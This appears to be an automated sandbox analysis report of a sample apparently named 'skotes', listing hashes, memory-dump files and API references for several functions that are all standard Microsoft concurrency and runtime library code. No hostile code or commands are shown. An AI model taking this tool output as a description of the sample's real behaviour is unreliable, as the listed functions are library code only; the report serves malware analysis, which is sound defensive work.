Opcode ID: 6865fa912168ff32adae7624e2514981bc11aa24e5a417c808a9d47fcca9639c
Instruction ID: bbb1fc93460da0544dbe5104790d218d7fd53c3fcef4bd82eabfc7c40f103c15
Opcode Fuzzy Hash: 6865fa912168ff32adae7624e2514981bc11aa24e5a417c808a9d47fcca9639c
Instruction Fuzzy Hash: 6651CEB2A02606DBEB25CF5AD8947AEB7F1FB48314F24857BC409EB251D338A900CF54

Function 000626D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 000626E3

Part of subcall function 000624E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00062504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00062704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00062711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0006275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 000627E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 000627F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00062846

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 997b5a49121b6b8452ae1e6207545b994e602b7eb935b295ce981d7a2b267e5c
Instruction ID: e1195f33661229e40419ef5e67e1c4077b217ad516c4b0720dfa741bba6d59b0
Opcode Fuzzy Hash: 997b5a49121b6b8452ae1e6207545b994e602b7eb935b295ce981d7a2b267e5c
Instruction Fuzzy Hash: 3A81AD34904A49AFEF169F94C951BFE7BB3AF55304F044098EC413B292CB368D69DBA1

Function 00062970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00062982

Part of subcall function 000624E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00062504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 000629A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 000629B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 000629FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00062AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00062AD8

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 8ef94bfeb41d01783f14eb8bd4573c75457250d8d7a4a3bb5eeda049841b87e5
Instruction ID: b280582cec8af8a4c839e30eb14590f7b02743c91ef7fea9af8831e0e4a5fa2f
Opcode Fuzzy Hash: 8ef94bfeb41d01783f14eb8bd4573c75457250d8d7a4a3bb5eeda049841b87e5
Instruction Fuzzy Hash: 70719930900A49AFDF25DFA4C991AFEBBB7EF85304F044098EC416B292C7729D15DB61

Function 00052832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00052876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 000528DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00052913

Part of subcall function 000507ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0005080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00052993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 000529DB

Part of subcall function 000507C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 000507DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 000529EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00052A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00052A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00052A7E

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 4f16354eee333ca710aea80c414cca693192a2dd2ae34839d51c43df19449f5a
Instruction ID: cb5a7863412e684c91d087cb20f4f7eb096e8e30857bdd4f46142be5b39856c4
Opcode Fuzzy Hash: 4f16354eee333ca710aea80c414cca693192a2dd2ae34839d51c43df19449f5a
Instruction Fuzzy Hash: 1781DF31A016168BDB19DFA9D8905BFB7F1BF5A302F24402ED841E3341DB34AD49CB91

Function 000569DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00056A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00056A51
List.LIBCONCRT ref: 00056A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00056A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00056AB9
List.LIBCONCRT ref: 00056AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00056B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00056B20
List.LIBCONCRT ref: 00056B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00056B68

Part of subcall function 00055EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00055EF7
Part of subcall function 00055EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00055F09

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 3ded4e8f495ce0e8b26de324ecea8ab84c68656ab754fa2caaca7e4642f8b000
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 45515F74A00209ABDF08DF64C495BEEB3F8BF08305F454469ED15AB282DB70AE48CF91

Function 000652A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 000653A0
type_info::operator==.LIBVCRUNTIME ref: 000653C7
___TypeMatch.LIBVCRUNTIME ref: 000654D3
IsInExceptionSpec.LIBVCRUNTIME ref: 000655AE
CallUnexpected.LIBVCRUNTIME ref: 00065650

Strings

csm, xrefs: 000653FE
csm, xrefs: 000652E0
csm, xrefs: 0006534D

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
